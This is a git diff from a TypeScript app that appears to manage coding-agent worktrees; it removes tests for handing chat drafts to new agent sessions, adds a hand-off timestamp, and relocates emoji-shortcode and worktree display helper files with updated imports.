-const initialState = useAppStore.getState()
-const worktree = makeCreatedAgentWorktree()
-const request: WorktreeCreationRequest = {
-  repoId: worktree.repoId,
-  name: 'feature',
-  setupDecision: 'skip',
-  agent: 'codex',
-  agentLaunchRoute: 'structured-native-chat',
-  pendingFirstAgentMessageRename: false,
-  note: '',
-  startupPlan: null,
-  quickPrompt: 'Fix the flaky test',
-  quickTelemetry: null
-}
-let main: TabsDrawnFromMain
-
-beforeEach(async () => {
-  vi.clearAllMocks()
-  resetStructuredAgentLaunchRegistryForTests()
-  seedEmptyActivatableWorktree(worktree)
-  useAppStore.setState({
-    activeWorktreeId: 'previous-worktree',
-    activePendingCreationId: 'creation-1',
-    pendingWorktreeCreations: {
-      'creation-1': {
-        creationId: 'creation-1',
-        phase: 'creating',
-        status: 'creating',
-        startedAt: 1,
-        indeterminate: false,
-        loaderVisible: true,
-        request
-      }
-    },
-    createWorktree: vi.fn().mockResolvedValue({ worktree })
-  })
-  mocks.admission.mockResolvedValue({ kind: 'admitted' })
-  mocks.createSession.mockReturnValue(new Promise(() => {}))
-  main = await drawTabsFromMain(useAppStore)
-})
-
-afterEach(() => {
-  main.close()
-  resetStructuredAgentSessionSendsForTests()
-  releaseNativeChatStagedFiles(pendingCreationChatDraftScopeKey('creation-1'))
-  for (const tab of Object.values(useAppStore.getState().unifiedTabsByWorktree).flat()) {
-    if (tab.contentType === 'agent-session') {
-      releaseNativeChatStagedFiles(structuredAgentSessionDraftScopeKey(tab.entityId))
-    }
-  }
-  clearNativeChatPendingAttachmentsForTests()
-  clearNativeChatComposerDraftsForTests()
-  vi.restoreAllMocks()
-  resetStructuredAgentLaunchRegistryForTests()
-  useAppStore.setState(initialState, true)
-})
-
-describe('creation chat handoff', () => {
-  it.skipIf(!ORCA_LAYOUT_OWNER_IS_MAIN)(
-    'owns input through delayed provider creation and replacement tab publication',
-    async () => {
-      const emptyRequest = { ...request, quickPrompt: '' }
-      useAppStore.getState().updatePendingWorktreeCreation('creation-1', {
-        request: emptyRequest,
-        heldChatMessage: 'First message accepted before launch'
-      })
-      const scope = pendingCreationChatDraftScopeKey('creation-1')
-      updateNativeChatComposerDraft(scope, { text: 'Unsent follow-up', images: [] }, 'immediate')
-      layoutApplyTestTransport.answerWith((command) =>
-        command.type === 'openAgentSessionTab' ? 'pending' : 'apply'
-      )
-
-      const completion = executeWorktreeCreation('creation-1', emptyRequest)
-      await vi.waitFor(() => expect(mocks.createSession).toHaveBeenCalled())
-      const intent = mocks.createSession.mock.calls[0][0]
-      expect(hasStagedStructuredLaunchPrompt(intent.sessionId)).toBe(true)
-      expect(
-        readNativeChatComposerDraft(structuredAgentSessionDraftScopeKey(intent.sessionId)).text
-      ).toBe('')
-      expect(readNativeChatComposerDraft(scope).text).toBe('Unsent follow-up')
-      expect(useAppStore.getState().activePendingCreationId).toBe('creation-1')
-      expect(
-        useAppStore.getState().pendingWorktreeCreations['creation-1']?.chatInputHandedOff
-      ).toBe(true)
-
-      layoutApplyTestTransport.answerWith('apply')
-      layoutApplyTestTransport.answerPending()
-      await completion
-      expect(useAppStore.getState().pendingWorktreeCreations['creation-1']).toBeUndefined()
-      expect(
-        readNativeChatComposerDraft(structuredAgentSessionDraftScopeKey(intent.sessionId)).text
-      ).toBe('Unsent follow-up')
-    }
-  )
-
-  it.skipIf(!ORCA_LAYOUT_OWNER_IS_MAIN)(
-    'waits for the answering layout frame even when provider creation fails first',
-    async () => {
-      layoutApplyTestTransport.answerWith((command) =>
-        command.type === 'openAgentSessionTab' ? 'pending' : 'apply'
-      )
-      mocks.createSession.mockRejectedValue(new StructuredAgentSessionCreateRefusalError('no'))
-
-      const completion = executeWorktreeCreation('creation-1', request)
-      await vi.waitFor(() => expect(layoutApplyTestTransport.pendingCount).toBe(1))
-      await vi.waitFor(() => expect(mocks.createSession).toHaveBeenCalled())
-      const intent = mocks.createSession.mock.calls[0][0]
-      await vi.waitFor(() =>
-        expect(getStructuredLaunchStateBySessionId(intent.sessionId)?.callers.outcome).toBe(
-          'failed'
-        )
-      )
-      expect(useAppStore.getState().activeWorktreeId).toBe('previous-worktree')
-      expect(useAppStore.getState().activePendingCreationId).toBe('creation-1')
-
-      layoutApplyTestTransport.answerWith('apply')
-      layoutApplyTestTransport.answerPending()
-      await completion
-      expect(useAppStore.getState().activeWorktreeId).toBe(worktree.id)
-      expect(useAppStore.getState().getActiveTab(worktree.id)?.contentType).toBe('agent-session')
-      expect(useAppStore.getState().pendingWorktreeCreations['creation-1']).toBeUndefined()
-    }
-  )
-
-  it.skipIf(!ORCA_LAYOUT_OWNER_IS_MAIN)(
-    'preserves the held first message in a terminal when layout refuses the chat',
-    async () => {
-      const emptyRequest = { ...request, quickPrompt: '' }
-      useAppStore.getState().updatePendingWorktreeCreation('creation-1', {
-        request: emptyRequest,
-        heldChatMessage: 'Recover this first message'
-      })
-      layoutApplyTestTransport.answerWith((command) =>
-        command.type === 'openAgentSessionTab'
-          ? { ok: false, code: 'pane_structure_changed' }
-          : 'apply'
-      )
-
-      await executeWorktreeCreation('creation-1', emptyRequest)
-      await main.settle()
-
-      const state = useAppStore.getState()
-      expect(state.pendingWorktreeCreations['creation-1']).toBeUndefined()
-      expect(state.tabsByWorktree[worktree.id]).toHaveLength(1)
-      expect(state.getActiveTab(worktree.id)?.contentType).toBe('terminal')
-      const tabId = state.tabsByWorktree[worktree.id]![0]!.id
-      expect(state.pendingStartupByTabId[tabId]).toMatchObject({
-        command: expect.stringContaining('Recover this first message')
-      })
-    }
-  )
-
-  it('keeps a rich first message and unsent follow-up in the failed chat when its host declines', async () => {
-    const emptyRequest = { ...request, quickPrompt: '' }
-    const source = pendingCreationChatDraftScopeKey('creation-1')
-    const file = new File(['image'], 'held.png', { type: 'image/png' })
-    const [path] = holdBrowserAttachmentFiles([file])
-    const heldAttachment = { id: 'held-image', path }
-    stageNativeChatDraftFile(source, path)
-    holdNativeChatStagedInput(source, {
-      text: 'Review this image',
-      attachments: [heldAttachment]
-    })
-    useAppStore.getState().updatePendingWorktreeCreation('creation-1', {
-      request: emptyRequest,
-      heldChatMessage: 'Review this image',
-      heldChatAttachments: [heldAttachment]
-    })
-    updateNativeChatComposerDraft(
-      source,
-      {
-        text: 'Unsent follow-up',
-        images: [{ id: 'follow-up-image', path: '/tmp/follow-up.png' }]
-      },
-      'immediate'
-    )
-    mocks.createSession.mockRejectedValue(new StructuredAgentSessionCreateRefusalError('no'))
-
-    await executeWorktreeCreation('creation-1', emptyRequest)
-    await main.settle()
-
-    const state = useAppStore.getState()
-    const tab = state.getActiveTab(worktree.id)
-    expect(tab).toMatchObject({ contentType: 'agent-session' })
-    if (!tab) {
-      throw new Error('The declined chat was discarded')
-    }
-    await vi.waitFor(() =>
-      expect(getStructuredLaunchStateBySessionId(tab.entityId)?.callers.outcome).toBe('failed')
-    )
-    await vi.waitFor(() =>
-      expect(
-        readNativeChatComposerDraft(structuredAgentSessionDraftScopeKey(tab.entityId)).images
-      ).toEqual(
-        expect.arrayContaining([
-          expect.objectContaining({ path }),
-          expect.objectContaining({ path: '/tmp/follow-up.png' })
-        ])
-      )
-    )
-    expect(state.pendingWorktreeCreations['creation-1']).toBeUndefined()
-    expect(state.tabsByWorktree[worktree.id] ?? []).toEqual([])
-    expect(readNativeChatComposerDraft(source).text).toBe('')
-    const destination = structuredAgentSessionDraftScopeKey(tab.entityId)
-    const draft = readNativeChatComposerDraft(destination)
-    expect(draft.text).toContain('Review this image')
-    expect(draft.text).toContain('Unsent follow-up')
-    expect(readBrowserAttachmentFile(path)).toBe(file)
-    updateNativeChatComposerDraft(
-      destination,
-      { images: draft.images.filter((image) => image.path !== path) },
-      'immediate'
-    )
-    await vi.waitFor(() => expect(readBrowserAttachmentFile(path)).toBeNull())
-  })
-
-  it('keeps an image still saving in the failed chat when its host declines before any send', async () => {
-    const emptyRequest = { ...request, quickPrompt: '' }
-    const source = pendingCreationChatDraftScopeKey('creation-1')
-    useAppStore.getState().updatePendingWorktreeCreation('creation-1', {
-      request: emptyRequest
-    })
-    addNativeChatPendingAttachment(source, {
-      id: 'saving-image',
-      path: '',
-      pending: true
-    })
-    mocks.admission.mockResolvedValue({ kind: 'declined' })
-    mocks.createSession.mockRejectedValue(new StructuredAgentSessionCreateRefusalError('no'))
-
-    await executeWorktreeCreation('creation-1', emptyRequest)
-    await main.settle()
-
-    const state = useAppStore.getState()
-    const tab = state.getActiveTab(worktree.id)
-    expect(tab).toMatchObject({ contentType: 'agent-session' })
-    if (!tab) {
-      throw new Error('The pending image lost its chat')
-    }
-    await vi.waitFor(() =>
-      expect(getStructuredLaunchStateBySessionId(tab.entityId)?.callers.outcome).toBe('failed')
-    )
-    const destination = structuredAgentSessionDraftScopeKey(tab.entityId)
-    expect(state.pendingWorktreeCreations['creation-1']).toBeUndefined()
-    expect(state.tabsByWorktree[worktree.id] ?? []).toEqual([])
-    expect(nativeChatPendingAttachmentSnapshot(destination)).toMatchObject([
-      { id: 'saving-image', pending: true }
-    ])
-    expect(settleNativeChatPendingAttachment(source, 'saving-image', '/tmp/saved.png')).toBe(true)
-    expect(readNativeChatComposerDraft(destination).images).toEqual([
-      { id: 'saving-image', path: '/tmp/saved.png' }
-    ])
-    expect(readNativeChatComposerDraft(source).images).toEqual([])
-  })
-
-  it('dismisses a pending admission without opening a late chat', async () => {
-    const admission = Promise.withResolvers<StructuredLaunchAdmission>()
-    mocks.admission.mockReturnValue(admission.promise)
-
-    const completion = executeWorktreeCreation('creation-1', request)
-    await vi.waitFor(() => expect(mocks.admission).toHaveBeenCalled())
-    useAppStore.getState().removePendingWorktreeCreation('creation-1')
-    await completion
-
-    admission.resolve({ kind: 'admitted' })
-    await main.settle()
-    expect(useAppStore.getState().activeWorktreeId).toBe('previous-worktree')
-    expect(useAppStore.getState().unifiedTabsByWorktree[worktree.id] ?? []).toEqual([])
-    expect(mocks.createSession).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-prompts.test.tsx b/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-prompts.test.tsx
index 6e8d3806bb7..5ace79f4007 100644
--- a/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-prompts.test.tsx
+++ b/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session-prompts.test.tsx
@@ -261,50 +261,3 @@ it.each([
   replacement.rerender(pane(true))
   expect(promptValue(screen.getByRole('textbox'))).toBe(expectedDraft)
 })
-
-it.each(['journalCorrupt', 'journalWrittenByNewerOrca'] as const)(
-  'reveals a final %s failure and retains the unsent draft',
-  async (reason) => {
-    render(
-      <TooltipProvider>
-        <PendingNativeChatCreation creationId="creation-1" />
-      </TooltipProvider>
-    )
-    changePrompt(screen.getByRole('textbox'), 'Keep this follow-up')
-    let completion: Promise<void> = Promise.resolve()
-    act(() => {
-      completion = executeWorktreeCreation('creation-1', request)
-    })
-    await waitFor(() => expect(host.createSession).toHaveBeenCalledOnce())
-    await main.settle()
-    const { sessionId } = host.createSession.mock.calls[0][0]
-    const tab = useAppStore.getState().getActiveTab(worktree.id)
-    if (!tab) {
-      throw new Error('Created chat tab was not published')
-    }
-    expect(useAppStore.getState().activePendingCreationId).toBe('creation-1')
-    mocks.status = 'error'
-    mocks.readRefusal = { code: 'agent_session_journal_unreadable', details: { reason } }
-    render(
-      <TooltipProvider>
-        <NativeChatStructuredSession
-          isVisible={false}
-          isFocusedGroup={false}
-          tabId={tab.id}
-          sessionId={sessionId}
-          target={{ kind: 'local' }}
-          agent="codex"
-        />
-      </TooltipProvider>
-    )
-    await act(async () => {
-      await completion
-    })
-    expect(useAppStore.getState().activePendingCreationId).toBeNull()
-    expect(useAppStore.getState().activeWorktreeId).toBe(worktree.id)
-    expect(readNativeChatComposerDraft(source).text).toBe('')
-    expect(readNativeChatComposerDraft(structuredAgentSessionDraftScopeKey(sessionId)).text).toBe(
-      'Keep this follow-up'
-    )
-  }
-)
diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session.test.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session.test.ts
index 3548ad6a982..d9da8833673 100644
--- a/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session.test.ts
+++ b/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session.test.ts
@@ -94,7 +94,6 @@ vi.mock('@/components/terminal/background-terminal-worktree-mount', () => ({
 }))
 
 import { launchStructuredWorktreeSession } from './worktree-creation-structured-session'
-import { projectSourceControlActionLaunch } from '../../../../../shared/source-control/ai/recipes/source-control-action-launch-preferences'
 import { requestBackgroundTerminalWorktreeMount } from '@/components/terminal/background-terminal-worktree-mount'
 
 const request = {
@@ -147,196 +146,6 @@ describe('launchStructuredWorktreeSession', () => {
     })
   })
 
-  it('uses the normal workspace surface when no chat tab is published', async () => {
-    mocks.beginStructuredAgentSessionProvisionalLaunch.mockImplementation((args) => {
-      args.onTabOpenSettled?.(null)
-      return launchHandle()
-    })
-    mocks.activateAndRevealWorktree.mockReturnValue({ primaryTabId: 'fallback-terminal' })
-
-    await expect(launchStructuredWorktreeSession(baseArgs)).resolves.toMatchObject({
-      primaryTabId: 'fallback-terminal'
-    })
-    expect(mocks.activateAndRevealWorktree).toHaveBeenCalledWith('worktree-1', {
-      providesInitialSurface: false,
-      worktreeCreationId: 'creation-1'
-    })
-  })
-
-  it.each([true, false])('recovers a held prompt after no tab, visible: %s', async (visible) => {
-    mocks.state.pendingWorktreeCreations = {
-      'creation-1': { phase: 'creating', heldChatMessage: 'Add a test', request }
-    }
-    if (!visible) {
-      mocks.state.activePendingCreationId = null
-    }
-    mocks.beginStructuredAgentSessionProvisionalLaunch.mockImplementation((args) => {
-      args.onTabOpenSettled?.(null, 'layout-refused')
-      return launchHandle()
-    })
-    mocks.launchAgentInNewTabWithOutcome.mockReturnValue({
-      surface: { kind: 'local-terminal', tabId: 'recovered-terminal' }
-    })
-
-    await expect(
-      launchStructuredWorktreeSession({
-        ...baseArgs,
-        request: {
-          ...request,
-          launchInputs: { agentArgs: '', sessionOptions: { model: 'gpt-picked', effort: 'high' } }
-        }
-      })
-    ).resolves.toMatchObject({
-      primaryTabId: 'recovered-terminal'
-    })
-    expect(mocks.launchAgentInNewTabWithOutcome).toHaveBeenCalledWith(
-      expect.objectContaining({
-        prompt: 'Add a test',
-        agentArgs: '',
-        sessionOptions: { model: 'gpt-picked', effort: 'high' },
-        promptDelivery: 'auto-submit',
-        activate: visible,
-        agentSessionLaunchPlan: expect.objectContaining({ route: 'terminal-tui' })
-      })
-    )
-    if (!visible) {
-      expect(mocks.activateAndRevealWorktree).not.toHaveBeenCalled()
-    }
-  })
-
-  it.each(['workspace', 'view'] as const)(
-    'preserves %s navigation while waiting for the replacement chat',
-    async (navigation) => {
-      let openTab: BeginArgs['onTabOpenSettled']
-      mocks.beginStructuredAgentSessionProvisionalLaunch.mockImplementation((args) => {
-        openTab = args.onTabOpenSettled
-        return launchHandle()
-      })
-
-      const completion = launchStructuredWorktreeSession(baseArgs)
-      if (navigation === 'workspace') {
-        mocks.state.activePendingCreationId = null
-      } else {
-        mocks.state.activeView = 'tasks'
-      }
-      openTab?.('agent-session:session-1')
-      await completion
-      expect(mocks.activateAndRevealWorktree).not.toHaveBeenCalled()
-    }
-  )
-
-  it('cancels a launch dismissed while waiting for its chat tab', async () => {
-    const launch = launchHandle()
-    mocks.beginStructuredAgentSessionProvisionalLaunch.mockReturnValue(launch)
-
-    const completion = launchStructuredWorktreeSession(baseArgs)
-    mocks.state.pendingWorktreeCreations = {}
-    mocks.listener?.(mocks.state)
-
-    await expect(completion).resolves.toMatchObject({ cancelled: true })
-    expect(launch.cancel).toHaveBeenCalled()
-    expect(mocks.activateAndRevealWorktree).not.toHaveBeenCalled()
-  })
-
-  it('does not launch after the pending creation was cancelled', async () => {
-    mocks.state.pendingWorktreeCreations = {}
-
-    await expect(launchStructuredWorktreeSession(baseArgs)).resolves.toMatchObject({
-      accepted: true,
-      cancelled: true,
-      primaryTabId: null
-    })
-    expect(mocks.beginStructuredAgentSessionProvisionalLaunch).not.toHaveBeenCalled()
-  })
-
-  it('does not open a tab when cancellation races the reveal callback', async () => {
-    mocks.beginStructuredAgentSessionProvisionalLaunch.mockImplementation((args) => {
-      const pending = mocks.state.pendingWorktreeCreations
-      mocks.state.pendingWorktreeCreations = {}
-      mocks.listener?.(mocks.state)
-      mocks.state.pendingWorktreeCreations = pending
-      const allowed = args.beforeOpen?.('session-1')
-      return allowed === false ? null : launchHandle()
-    })
-
-    await expect(launchStructuredWorktreeSession(baseArgs)).resolves.toMatchObject({
-      accepted: true,
-      cancelled: false,
-      primaryTabId: null
-    })
-    expect(mocks.activateAndRevealWorktree).not.toHaveBeenCalled()
-  })
-
-  it('logs a chat tab that throws while opening instead of dropping it silently', async () => {
-    const failure = new Error('tab store unavailable')
-    mocks.beginStructuredAgentSessionProvisionalLaunch.mockImplementation(() => {
-      throw failure
-    })
-    const consoleError = vi.spyOn(console, 'error').mockImplementation(() => {})
-
-    await expect(launchStructuredWorktreeSession(baseArgs)).resolves.toMatchObject({
-      accepted: true,
-      primaryTabId: null
-    })
-    expect(consoleError).toHaveBeenCalledWith(
-      'worktree create: structured chat tab failed to open',
-      'worktree-1',
-      failure
-    )
-    expect(mocks.unsubscribe).toHaveBeenCalled()
-    consoleError.mockRestore()
-  })
-
-  it('sends what the user wrote while the worktree was created as the first message', async () => {
-    const launchInputs = projectSourceControlActionLaunch(
-      {
-        agentId: 'codex',
-        agentArgs: `-c 'model="true"'`,
-        launchPreferences: {
-          agentId: 'codex',
-          modelSelection: {
-            base: 'default',
-            options: { effort: { agentId: 'codex', value: 'high' } }
-          }
-        }
-      },
-      'codex',
-      { basePrompt: '' }
-    )
-    mocks.state.pendingWorktreeCreations = {
-      'creation-1': { phase: 'creating', heldChatMessage: 'Add a test', request }
-    }
-
-    await launchStructuredWorktreeSession({ ...baseArgs, request: { ...request, launchInputs } })
-
-    expect(mocks.beginStructuredAgentSessionProvisionalLaunch.mock.calls[0][0].plan).toMatchObject({
-      prompt: 'Add a test',
-      promptDelivery: 'auto-submit',
-      launchOptions: { effort: 'high' },
-      chatLaunchOptions: { model: 'true', effort: 'high' }
-    })
-    expect(mocks.beginStructuredAgentSessionProvisionalLaunch.mock.calls[0][0]).toHaveProperty(
-      'declinedTerminal.agentArgs',
-      `-c 'model="true"'`
-    )
-  })
-
-  it('leaves a linked item draft to the pending composer draft the launch moves over', async () => {
-    const linked = {
-      ...request,
-      quickPrompt: '',
-      launchDraftPrompt: 'Issue #12',
-      promptDelivery: 'draft' as const
-    }
-    mocks.state.pendingWorktreeCreations = { 'creation-1': { phase: 'creating', request: linked } }
-
-    await launchStructuredWorktreeSession({ ...baseArgs, request: linked })
-
-    expect(mocks.beginStructuredAgentSessionProvisionalLaunch.mock.calls[0][0].plan).toMatchObject({
-      prompt: ''
-    })
-  })
-
   it.each([true, false])(
     'moves the latest unsent typing only when the replacement is published, foreground: %s',
     async (foreground) => {
@@ -370,19 +179,6 @@ describe('launchStructuredWorktreeSession', () => {
     }
   )
 
-  it('keeps unsent text when the replacement tab is refused', async () => {
-    const source = 'pending-worktree-creation:creation-1'
-    updateNativeChatComposerDraft(source, { text: 'Keep this draft' }, 'immediate')
-    mocks.beginStructuredAgentSessionProvisionalLaunch.mockImplementation((args) => {
-      args.onTabOpenSettled?.(null, 'layout-refused')
-      return launchHandle()
-    })
-
-    await launchStructuredWorktreeSession(baseArgs)
-
-    expect(readNativeChatComposerDraft(source).text).toBe('Keep this draft')
-  })
-
   it('keeps the pending draft editable until the published chat editor mounts', async () => {
     const mounted = Promise.withResolvers<void>()
     mocks.waitForComposerMount.mockReturnValue(mounted.promise)
@@ -410,41 +206,4 @@ describe('launchStructuredWorktreeSession', () => {
     )
     expect(mocks.activateAndRevealWorktree).toHaveBeenCalledOnce()
   })
-
-  it('finishes in the background after navigation while the replacement mounts', async () => {
-    mocks.waitForComposerMount.mockImplementation(
-      (_source, _destination, signal) =>
-        new Promise((resolve) => {
-          signal.addEventListener('abort', () => resolve(), { once: true })
-        })
-    )
-    const completion = launchStructuredWorktreeSession(baseArgs)
-    await Promise.resolve()
-    mocks.state.activeView = 'tasks'
-    mocks.listener?.(mocks.state)
-
-    await completion
-
-    expect(mocks.activateAndRevealWorktree).not.toHaveBeenCalled()
-    expect(mocks.unsubscribe).toHaveBeenCalled()
-  })
-
-  it('keeps both newer typing and a first message returned by a failed launch', async () => {
-    updateNativeChatComposerDraft(
-      'agent-session:session-1',
-      { text: 'Returned first message' },
-      'immediate'
-    )
-    updateNativeChatComposerDraft(
-      'pending-worktree-creation:creation-1',
-      { text: 'Newer follow-up' },
-      'immediate'
-    )
-
-    await launchStructuredWorktreeSession(baseArgs)
-
-    expect(readNativeChatComposerDraft('agent-session:session-1').text).toBe(
-      'Returned first message\n\nNewer follow-up'
-    )
-  })
 })
diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session.ts
index 8fb320af57b..a15690b0f93 100644
--- a/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session.ts
+++ b/src/renderer/src/lib/workspace/creation/worktree-creation-structured-session.ts
@@ -64,7 +64,8 @@ export async function launchStructuredWorktreeSession(
   }
   // Freeze the first send; unsent typing stays with the composer until its replacement is ready.
   useAppStore.getState().updatePendingWorktreeCreation(args.creationId, {
-    chatInputHandedOff: true
+    chatInputHandedOff: true,
+    chatHandedOffAt: Date.now()
   })
   const pending = useAppStore.getState().pendingWorktreeCreations[args.creationId]
   const request = withPendingChatInput(pending, {
diff --git a/src/renderer/src/lib/workspace-emoji-picker-defaults.ts b/src/renderer/src/lib/workspace/display/workspace-emoji-picker-defaults.ts
similarity index 90%
rename from src/renderer/src/lib/workspace-emoji-picker-defaults.ts
rename to src/renderer/src/lib/workspace/display/workspace-emoji-picker-defaults.ts
index c4e930bb7d6..61dc1fc39c6 100644
--- a/src/renderer/src/lib/workspace-emoji-picker-defaults.ts
+++ b/src/renderer/src/lib/workspace/display/workspace-emoji-picker-defaults.ts
@@ -1,10 +1,10 @@
-import type { WorkspaceEmojiSuggestion } from './workspace-emoji-shortcodes'
+import type { StandardEmojiShortcodeEntry } from '../../../../../shared/emoji-shortcode-catalog'
 
 // Lives apart from the shortcode index so only the lazily loaded picker panel ships it.
 // Shown before the user searches: emoji that read well as workspace markers.
 // Only emoji-presentation code points: text-default ones (gear, warning, sun) render as monochrome glyphs.
 // Literal pairs so opening the picker never builds the full shortcode catalog.
-const WORKSPACE_EMOJI_PICKER_DEFAULTS: readonly WorkspaceEmojiSuggestion[] = [
+const WORKSPACE_EMOJI_PICKER_DEFAULTS: readonly StandardEmojiShortcodeEntry[] = [
   { emoji: '🚀', shortcode: 'rocket' },
   { emoji: '🐛', shortcode: 'bug' },
   { emoji: '✨', shortcode: 'sparkles' },
@@ -55,6 +55,6 @@ const WORKSPACE_EMOJI_PICKER_DEFAULTS: readonly WorkspaceEmojiSuggestion[] = [
   { emoji: '👻', shortcode: 'ghost' }
 ]
 
-export function getWorkspaceEmojiPickerDefaults(): readonly WorkspaceEmojiSuggestion[] {
+export function getWorkspaceEmojiPickerDefaults(): readonly StandardEmojiShortcodeEntry[] {
   return WORKSPACE_EMOJI_PICKER_DEFAULTS
 }
diff --git a/src/renderer/src/lib/workspace-emoji-shortcodes.ts b/src/renderer/src/lib/workspace/display/workspace-emoji-shortcodes.ts
similarity index 92%
rename from src/renderer/src/lib/workspace-emoji-shortcodes.ts
rename to src/renderer/src/lib/workspace/display/workspace-emoji-shortcodes.ts
index a635642d338..2e92e1ce3fb 100644
--- a/src/renderer/src/lib/workspace-emoji-shortcodes.ts
+++ b/src/renderer/src/lib/workspace/display/workspace-emoji-shortcodes.ts
@@ -3,13 +3,11 @@ import {
   getStandardEmojiShortcodeEntries,
   setEmojiShortcodeDatasetLoader,
   type StandardEmojiShortcodeEntry
-} from '../../../shared/emoji-shortcode-catalog'
+} from '../../../../../shared/emoji-shortcode-catalog'
 
 // Keep transforms synchronous with eager catalog data; lazy loading once persisted literal :wink: during its unresolved window.
 setEmojiShortcodeDatasetLoader(() => emojiShortcodes)
 
-export type WorkspaceEmojiSuggestion = StandardEmojiShortcodeEntry
-
 export type ActiveWorkspaceEmojiShortcode = {
   end: number
   query: string
@@ -22,9 +20,9 @@ export type WorkspaceEmojiReplacement = {
 }
 
 // Build this lazy index only when a colon shortcode completes, like its shared catalog.
-let exactShortcode: ReadonlyMap<string, WorkspaceEmojiSuggestion> | null = null
+let exactShortcode: ReadonlyMap<string, StandardEmojiShortcodeEntry> | null = null
 
-function exactShortcodeIndex(): ReadonlyMap<string, WorkspaceEmojiSuggestion> {
+function exactShortcodeIndex(): ReadonlyMap<string, StandardEmojiShortcodeEntry> {
   exactShortcode ??= new Map(
     getStandardEmojiShortcodeEntries().map(({ emoji, shortcode }) => [
       shortcode,
@@ -51,7 +49,7 @@ function matchTier(shortcode: string, query: string): number | null {
 export function searchWorkspaceEmojiShortcodes(
   query: string,
   limit = 8
-): WorkspaceEmojiSuggestion[] {
+): StandardEmojiShortcodeEntry[] {
   const normalizedQuery = query.trim().toLowerCase()
   if (!normalizedQuery || limit <= 0) {
     return []
@@ -69,7 +67,7 @@ export function searchWorkspaceEmojiShortcodes(
         left.shortcode.localeCompare(right.shortcode)
     )
   const seenEmoji = new Set<string>()
-  const suggestions: WorkspaceEmojiSuggestion[] = []
+  const suggestions: StandardEmojiShortcodeEntry[] = []
   for (const { emoji, shortcode } of matches) {
     if (seenEmoji.has(emoji)) {
       continue
@@ -123,7 +121,7 @@ export function replaceCompletedWorkspaceEmojiShortcode(
 export function applyWorkspaceEmojiSuggestion(
   value: string,
   active: ActiveWorkspaceEmojiShortcode,
-  suggestion: WorkspaceEmojiSuggestion
+  suggestion: StandardEmojiShortcodeEntry
 ): WorkspaceEmojiReplacement {
   return replaceWorkspaceEmojiRange(value, active.start, active.end, suggestion.emoji, true)
 }
diff --git a/src/renderer/src/lib/worktree-attachment-label.ts b/src/renderer/src/lib/workspace/display/worktree-attachment-label.ts
similarity index 87%
rename from src/renderer/src/lib/worktree-attachment-label.ts
rename to src/renderer/src/lib/workspace/display/worktree-attachment-label.ts
index ac9998e16f0..51badeb6800 100644
--- a/src/renderer/src/lib/worktree-attachment-label.ts
+++ b/src/renderer/src/lib/workspace/display/worktree-attachment-label.ts
@@ -1,5 +1,5 @@
-import type { Worktree } from '../../../shared/worktree/types'
-import { basename } from './path'
+import type { Worktree } from '../../../../../shared/worktree/types'
+import { basename } from '../../path'
 
 /** Shared by every "workspace attached to this work item" surface so GitHub, GitLab,
  *  and Linear rows can't drift into labelling the same worktree differently. */
diff --git a/src/renderer/src/lib/worktree-default-display-name.ts b/src/renderer/src/lib/workspace/display/worktree-default-display-name.ts
similarity index 94%
rename from src/renderer/src/lib/worktree-default-display-name.ts
rename to src/renderer/src/lib/workspace/display/worktree-default-display-name.ts
index 92e8b197579..256fc7b0e16 100644
--- a/src/renderer/src/lib/worktree-default-display-name.ts
+++ b/src/renderer/src/lib/workspace/display/worktree-default-display-name.ts
@@ -1,6 +1,6 @@
 import { branchName } from '@/lib/source-control/branches/branch-name'
 import { basename } from '@/lib/path'
-import type { Worktree } from '../../../shared/worktree/types'
+import type { Worktree } from '../../../../../shared/worktree/types'
 
 type WorktreeDisplayNameSource = Pick<Worktree, 'displayName' | 'branch' | 'path'>
 
diff --git a/src/renderer/src/lib/worktree-display-name-order.ts b/src/renderer/src/lib/workspace/display/worktree-display-name-order.ts
similarity index 78%
rename from src/renderer/src/lib/worktree-display-name-order.ts
rename to src/renderer/src/lib/workspace/display/worktree-display-name-order.ts
index 01d22a9f746..ae59181b971 100644
--- a/src/renderer/src/lib/worktree-display-name-order.ts
+++ b/src/renderer/src/lib/workspace/display/worktree-display-name-order.ts
@@ -1,4 +1,4 @@
-import type { Worktree } from '../../../shared/worktree/types'
+import type { Worktree } from '../../../../../shared/worktree/types'
 
 // Persisted/discovered rows can lack required displayName (crash 99657ab1); coalesce before comparing.
 export function compareWorktreeDisplayName(a: Worktree, b: Worktree): number {
diff --git a/src/renderer/src/lib/scroll-to-current-workspace-status.ts b/src/renderer/src/lib/workspace/navigation/scroll-to-current-workspace-status.ts
similarity index 100%
rename from src/renderer/src/lib/scroll-to-current-workspace-status.ts
rename to src/renderer/src/lib/workspace/navigation/scroll-to-current-workspace-status.ts
diff --git a/src/renderer/src/lib/ambiguous-owner-warning.ts b/src/renderer/src/lib/workspace/ownership/ambiguous-owner-warning.ts
similarity index 100%
rename from src/renderer/src/lib/ambiguous-owner-warning.ts
rename to src/renderer/src/lib/workspace/ownership/ambiguous-owner-warning.ts
diff --git a/src/renderer/src/lib/duplicate-paired-servers.ts b/src/renderer/src/lib/workspace/ownership/duplicate-paired-servers.ts
similarity index 94%
rename from src/renderer/src/lib/duplicate-paired-servers.ts
rename to src/renderer/src/lib/workspace/ownership/duplicate-paired-servers.ts
index cb5d52c0256..3f2c3295822 100644
--- a/src/renderer/src/lib/duplicate-paired-servers.ts
+++ b/src/renderer/src/lib/workspace/ownership/duplicate-paired-servers.ts
@@ -2,9 +2,9 @@
  * Saved servers that are one machine paired twice. Each publishes the same workspaces, so a write to
  * any of them is ambiguous until the user removes one entry.
  */
-import { parseExecutionHostId } from '../../../shared/execution-host'
-import type { PublicKnownRuntimeEnvironment } from '../../../shared/remote-runtime/host-catalog/runtime-environments'
-import { parseWorkspaceKey } from '../../../shared/workspace-scope'
+import { parseExecutionHostId } from '../../../../../shared/execution-host'
